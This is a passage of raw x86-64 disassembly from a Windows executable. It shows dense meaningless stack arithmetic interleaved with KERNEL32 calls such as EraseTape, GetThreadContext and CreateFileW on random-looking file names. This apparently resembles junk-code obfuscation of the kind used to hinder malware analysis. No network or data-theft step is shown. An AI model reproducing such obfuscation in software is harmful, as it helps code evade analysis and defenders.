mov rcx, qword [rsp + 0x9f40]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ca4]
mov rcx, qword [rsp + 0x9c10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cc4], ax
mov rax, qword [rsp + 0xa428]
mov rax, qword [rax]
mov rcx, qword [0x14022b840]
mov qword [rsp + 0xa440], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa440]
mov rax, qword [rax]
sar rax, cl
mov qword [0x140229f60], rax
mov rax, qword [rsp + 0xa038]
mov qword [rsp + 0xa448], rax
mov rax, qword [rsp + 0xa180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ca0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ed0]
mov rcx, qword [rsp + 0x8078]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f98], rax
movzx eax, word [rsp + 0x1d10]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0xa2c8]
mov ecx, dword [rsp + 0x3ea8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x369], al
mov rax, qword [rsp + 0xa190]
mov ecx, dword [rsp + 0x47e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4278], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov qword [rsp + 0xa450], rax
lea rax, [0x140229f1e]
mov qword [0x14022b9d0], rax
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc24]
shl eax, cl
mov word [rsp + 0x1cf4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf6c3
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
movsx eax, word [rsp + 0x1394]
movsx ecx, word [rsp + 0x1400]
xor eax, ecx
mov word [rsp + 0x1d40], ax
lea rax, [rsp + 0x1d2c]
mov qword [rsp + 0xa458], rax
mov rax, qword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0x9c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9fa8]
movsx eax, byte [rax]
mov rcx, qword [0x14022b9d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xac], al
mov rcx, qword [rsp + 0x9708]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0x9ef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9670], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa230]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4774], eax
lea rax, [0x140229f38]
mov qword [rsp + 0xa460], rax
lea rax, [rsp + 0x1b14]
mov qword [0x14022b9d8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x23d0
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47c4], eax
mov r9d, 0x1ed1
xor r8d, r8d
lea rdx, [rsp + 0xa2e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47a0], eax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x76b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x347]
sar eax, cl
mov rcx, qword [rsp + 0x9808]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f80]
mov ecx, dword [rsp + 0x3dc8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4234], eax
movsx eax, byte [0x14022b811]
movsx ecx, byte [rsp + 0x1b0]
sub eax, ecx
mov rcx, qword [rsp + 0xa408]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3e0]
mov rcx, qword [rsp + 0x9ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b98], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov dword [rsp + 0x4838], eax
mov rcx, qword [rsp + 0xa088]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa460]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa1a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x17d0]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022b900], ax
mov rax, qword [0x14022b8d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa1e0]
shl rax, cl
mov qword [rsp + 0x7400], rax
lea rdx, [rsp + 0x4728]
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4820], eax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7300]
sar rax, cl
mov rcx, qword [rsp + 0x9d48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
sub eax, ecx
mov word [rsp + 0x1cec], ax
lea rax, [0x14022b968]
mov qword [rsp + 0xa468], rax
mov rax, qword [rsp + 0xa190]
mov rcx, qword [rsp + 0xa2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [rsp + 0x164]
mov qword [rsp + 0xa478], rax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x9ba8]
mov rcx, qword [rsp + 0x9cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9a80], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1d16
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4820], eax
mov rax, qword [rsp + 0xa1d8]
movzx eax, word [rax]
mov word [0x14022b9e0], ax
movzx eax, word [0x14022b824]
mov word [rsp + 0x1d48], ax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x362], al
mov eax, dword [rsp + 0x47b8]
mov dword [rsp + 0x483c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x7540]
mov rcx, qword [rsp + 0x98c0]
mov qword [rsp + 0xa480], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa480]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0xa3e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa390], rax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x350]
mov qword [rsp + 0xa490], rax
mov rax, qword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0x9cc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4530], eax
movsx eax, word [rsp + 0xa2c]
movsx ecx, word [rsp + 0x1394]
and eax, ecx
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
shl eax, cl
mov rcx, qword [0x14022b908]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d38]
mov rcx, qword [rsp + 0xa3f0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
mov word [rsp + 0x1d4c], ax
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [0x14022b9b8]
xor eax, ecx
mov rcx, qword [rsp + 0x9bd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9db8]
mov qword [rsp + 0xa498], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0xa150]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7420], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d60]
mov eax, dword [rax]
mov dword [rsp + 0x4840], eax
movzx eax, word [rsp + 0xef0]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov word [rcx], ax
lea rdx, [rsp + 0x4664]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47fc], eax
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov rcx, qword [0x14022b838]
add rcx, rax
mov rax, rcx
mov qword [0x140229f90], rax
mov rax, qword [rsp + 0x9b38]
mov ecx, dword [rsp + 0x39bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0xa350]
movzx eax, byte [rax]
mov byte [rsp + 0x36a], al
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d20]
and eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d08]
mov rcx, qword [rsp + 0xa430]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9f4], ax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b08], rax
mov rax, qword [rsp + 0xa230]
mov rcx, qword [rsp + 0xa250]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47e4], eax
lea rax, [rsp + 0x351]
mov qword [rsp + 0xa4a0], rax
movsx eax, word [0x14022b87c]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cd8], ax
movzx eax, word [rsp + 0xef0]
mov word [0x14022b9e4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [rsp + 0x6f98]
mov qword [rsp + 0xa4a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa4b0], rax
lea rdx, [rsp + 0x47e8]
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47dc], eax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x9a20]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
lea rax, [rsp + 0x8180]
mov qword [rsp + 0xa4b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.SS5w4zxcd9bVif
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa4c0], rax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa1f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9758]
mov qword [rsp + 0xa4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9e58], rax
mov rax, qword [rsp + 0xa190]
mov eax, dword [rax]
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov byte [rsp + 0x34d], al
lea rdx, [rsp + 0x4810]
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x470c], eax
movzx eax, byte [rsp + 0x34b]
mov rcx, qword [rsp + 0x9e10]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x331], al
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4744]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa2c8]
mov dword [rcx], eax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022b8f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a7c]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d4c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.ZRmUvRnywq6ywmv0vvW4AbZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa4d0], rax
mov rax, qword [rsp + 0xa000]
movzx eax, word [rax]
mov word [rsp + 0x1d50], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa080]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d50], rax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x7458]
mov qword [rsp + 0xa4d8], rax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x367]
sar eax, cl
mov byte [rsp + 0x348], al
mov eax, dword [rsp + 0x4230]
movzx ecx, al
mov eax, dword [rsp + 0x437c]
shl eax, cl
mov dword [rsp + 0x3d60], eax
movzx eax, word [rsp + 0x1d28]
mov word [rsp + 0x1d54], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x163c]
xor eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d48]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14022b8e8], rax
movzx eax, word [rsp + 0x87c]
movzx ecx, word [rsp + 0x1cfc]
sub eax, ecx
mov word [rsp + 0xb0c], ax
mov rax, qword [rsp + 0xa360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0xa418]
mov rcx, qword [rsp + 0x98e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x86c8], rax
lea rdx, [rsp + 0x4848]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45f8], eax
mov rax, qword [rsp + 0xa378]
mov qword [rsp + 0xa4e0], rax
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c98]
mov byte [rcx], al
movzx eax, byte [rsp + 0x362]
mov rcx, qword [rsp + 0x9f08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x99], al
mov eax, dword [rsp + 0x4830]
mov ecx, dword [rsp + 0x4674]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x39bc], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x22f3
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4800], eax
mov eax, dword [rsp + 0x4764]
mov dword [rsp + 0x484c], eax
lea rax, [rsp + 0x1400]
mov qword [0x14022b9e8], rax
mov rcx, qword [rsp + 0x9d50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1d40]
movsx ecx, word [rsp + 0x1d34]
and eax, ecx
mov word [rsp + 0x1cd4], ax
lea rdx, [rsp + 0x4820]
mov rcx, qword [rsp + 0xa2c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4850], eax
movzx eax, word [rsp + 0x1a94]
movzx ecx, word [0x140229f28]
and eax, ecx
mov word [rsp + 0x1cf8], ax
mov rax, qword [rsp + 0xa168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x8488]
mov rcx, qword [rsp + 0x9f88]
mov qword [rsp + 0xa4e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4e8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa390], rax
movzx eax, byte [rsp + 0x34f]
mov byte [rsp + 0x36b], al
mov rax, qword [rsp + 0xa220]
mov rcx, qword [rsp + 0xa210]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3ff4], eax
movsx eax, word [rsp + 0x1d54]
movsx ecx, word [0x14022b820]
shl eax, cl
mov word [rsp + 0x1d3c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd134
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47e8], eax
lea rax, [rsp + 0x14e4]
mov qword [rsp + 0xa4f0], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x9be8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d90], rax
mov rax, qword [rsp + 0x9f10]
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0x9b90]
mov rcx, qword [rsp + 0x9420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa388], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d44]
add eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2d6]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x29c], al
mov eax, dword [rsp + 0x3b5c]
mov ecx, dword [rsp + 0x483c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x476c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa500], rax
mov rax, qword [rsp + 0xa4d8]
mov rax, qword [rax]
mov qword [rsp + 0xa508], rax
movsx eax, byte [rsp + 0x34f]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x368], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov r9d, 1
xor r8d, r8d
mov edx, 0xd5eb
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4770], eax
lea rax, [rsp + 0x4374]
mov qword [0x14022b9f0], rax
lea rax, [rsp + 0x1d3c]
mov qword [rsp + 0xa510], rax
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1d40]
sub eax, ecx
mov word [rsp + 0x17d8], ax
lea rdx, [rsp + 0x4684]
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4854], eax
movzx eax, word [rsp + 0x1a94]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0xa260]
mov rcx, qword [rsp + 0xa240]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x94b0], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov byte [rsp + 0x186], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xbd7c
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4794], eax
lea rax, [rsp + 0x479c]
mov qword [rsp + 0xa518], rax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ce8]
shl rax, cl
mov rcx, qword [rsp + 0xa4d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa050]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cdc]
or eax, ecx
mov word [rsp + 0x1c94], ax
lea rdx, [rsp + 0x47d4]
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4858], eax
mov rax, qword [0x14022b8c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140229f98], ax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9c58]
mov rax, qword [rax]
mov qword [rsp + 0xa520], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17d0]
sar eax, cl
mov rcx, qword [rsp + 0xa168]
mov word [rcx], ax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x36c], al
mov rax, qword [rsp + 0x9be0]
mov rcx, qword [rsp + 0x9b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x39f0], eax
movsx eax, byte [rsp + 0x342]
movsx ecx, byte [rsp + 0x169]
add eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [0x14022b9f0]
mov ecx, dword [rsp + 0x4778]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4020], eax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0xa3e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9150], rax
lea rax, [rsp + 0x10c0]
mov qword [rsp + 0xa528], rax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cf0]
sar eax, cl
mov word [0x14022b990], ax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0x9d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x485c], eax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [rsp + 0x8180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f10], rax
movzx eax, word [rsp + 0x1394]
mov word [rsp + 0x1d58], ax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa468]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x888], ax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x9ad8]
mov rcx, qword [rsp + 0x9e58]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
mov dword [rsp + 0x4860], eax
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0xa200]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9eb8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x8a41
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x481c], eax
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov word [0x14022b9f8], ax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
shl eax, cl
mov word [rsp + 0x1cf0], ax
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0x9bb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x476c]
sar eax, cl
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
mov rax, qword [0x14022b830]
mov rcx, qword [rsp + 0x8078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0xa308]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x277]
add eax, ecx
mov byte [rsp + 0x5c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.p2rnk3kGpP28Q9nxAVTW_vOQ83fSgyrA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa530], rax
mov rax, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0xa2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47e4], eax
mov rax, qword [0x14022b808]
mov qword [rsp + 0xa538], rax
movsx eax, word [rsp + 0x1cf4]
movsx ecx, word [rsp + 0x1d54]
add eax, ecx
mov word [rsp + 0x1400], ax
lea rax, [rsp + 0x17d0]
mov qword [0x14022ba00], rax
mov rax, qword [0x14022b9c0]
mov rcx, qword [rsp + 0x9d80]
mov qword [rsp + 0xa540], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8a18], rax
movzx eax, word [rsp + 0x1d00]
movzx ecx, word [rsp + 0x1848]
sub eax, ecx
mov word [rsp + 0x1d24], ax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9f90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ce8], ax
mov rax, qword [rsp + 0x7f10]
mov qword [rsp + 0xa548], rax
mov rax, qword [rsp + 0x9f18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x364]
or eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov dword [rsp + 0x4864], eax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9b98]
shl rax, cl
mov qword [rsp + 0x9430], rax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x968]
xor eax, ecx
mov word [rsp + 0x1d48], ax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8d50]
movzx ecx, al
mov rax, qword [rsp + 0xa298]
sar rax, cl
mov rcx, qword [0x14022b9a8]
mov qword [rcx], rax
lea rax, [rsp + 0x44e0]
mov qword [rsp + 0xa550], rax
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x369], al
lea rax, [rsp + 0x7b8]
mov qword [rsp + 0xa558], rax
movzx eax, word [rsp + 0x1ce4]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cac], ax
mov rax, qword [rsp + 0xa308]
movsx eax, byte [rax]
